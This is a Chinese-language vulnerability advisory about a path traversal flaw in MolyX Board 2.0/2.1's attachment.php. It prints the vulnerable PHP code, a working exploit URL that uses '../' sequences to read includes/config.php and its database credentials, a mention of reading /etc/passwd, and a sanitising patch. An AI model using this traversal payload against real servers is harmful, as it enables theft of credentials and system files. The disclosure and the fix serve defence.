网络通信 频道

MolyX Board原代码泄露漏洞

前言
MolyX Board(以下简称MXB)是 MolyX Studios 小组(好象就是CNVBB小组)开发的PHP论坛程序,MXB 融合了众多论坛程序的优点,博采众长,功能强大。多年的论坛程序汉化和改进经验也使 MXB 更适合国人的使用习惯。不过漏洞是难免的。

受影响系统
MolyX Board 2.0
MolyX Board 2.1

详细
attachment.php缺乏对attach变量进行检查,导致远程攻击者可以构造这个变量访问该服务器上允许访问的存在的文件。

文件其中一段代码:

function showattachment()
{
  global $DB, $forums, $_INPUT, $bbuserinfo, $bboptions;
  $forums->noheader = 1;
  if (!$_INPUT[''u''] OR !$_INPUT[''attach'']) {
    $forums->func->standard_error("cannotviewattach");
  }
  if (!$bbuserinfo[''candownload'']) {
    $forums->func->standard_error("cannotdownload");
字串2

  }
  $path = $bboptions[''uploadfolder''] . ''/'' . implode(''/'', preg_split(''//'', intval($_INPUT[''u'']), -1, PREG_SPLIT_NO_EMPTY));
  $file = $path."/".$_INPUT[''attach''];
  if ( file_exists( $file ) AND ( $forums->cache[''attachmenttype''][ $_INPUT[''extension''] ][''mimetype''] != "" ) ) {
    $DB->shutdown_query("UPDATE ".TABLE_PREFIX."attachment SET counter=counter+1 WHERE attachmentid=".intval($_INPUT[''id''])."");
    @header(''Cache-control: max-age=31536000'');
    @header(''Expires: '' . gmdate("D, d M Y H:i:s", TIMENOW + 31536000) . '' GMT'');
    @header( ''Content-Type: ''.$forums->cache[''attachmenttype''][ $_INPUT[''extension''] ][''mimetype''].'''' );
    @header( ''Content-Disposition: inline; filename=''.$_INPUT[''filename''].'''' );
    @header( ''Content-Disposition: inline; filename=''.$_INPUT[''filename''].'''' );

字串2


    @header( ''Content-Length: ''.(string)(filesize( $file ) ).'''' );
    $fh = fopen( $file, ''rb'' );
    fpassthru( $fh );
    @fclose( $fh );
    exit();
  } else {
    $forums->func->standard_error("cannotviewattach");
  }
}



如果我们访问一个附件:

http://www.molyx.com/attachment.php?id=684&u=3096&extension=gif&attach=1105910809.gif&filename=1.gif


这个attachment.php就会老老实实服务器上的1105910809.gif文件的内容返回到浏览器上。后面的filename只是上传时的文件名字。这个变量不用管,如果我们发送一个请求。构造attach变量为“./../../../../../../includes/config.php”:

http://www.molyx.com/attachment.php?id=684&u=3096&extension=gif&attach=./../../../../../../includes/config.php&filename=1.gif
字串2



attachment.php文件也会按照正常流程把config.php的内容输出到浏览器。这样MYSQL的连接信息什么都出来了。“../”的个数视目录结构而定。如果“/etc/pass”可读的话,也可以读出该文件的内容。剩下的该怎么做就怎么做了。我制造一把刀不是为了让你去杀人。

解决办法
attachment.php这个文件中,showattachment(),showthumb()函数都是这样的,所以我们都给它过滤一下,搜索两处:

$file = $path."/".$_INPUT[''attach''];


然后改为:

$_INPUT[''attach''] = str_replace("/", "", substr($_INPUT[''attach''], strrpos($_INPUT[''attach''], ''/'')));
$file = $path."/".$_INPUT[''attach''];


本来想检查扩展如果不是attach就停止的。可是后来了解到这个论坛如果是图片就不改扩展。不是图片就改成.attach的扩展。所以还是用上面的比较高效一点。呵呵……

字串2



后记
第一次见MolyX Board,不得不惊叹该小组的体贴用户的程度。很多功能的确如介绍所说:博采众长,功能强大。速度是慢了一点。特别是后台。不过我觉得一个好的论坛。不能从多出那零点几秒的运行时间而否定它的。

 

 

文章来源地址:http://www.hackhome.com/html/wlcl/wlaq/2006/0610/26639.html

0
相关文章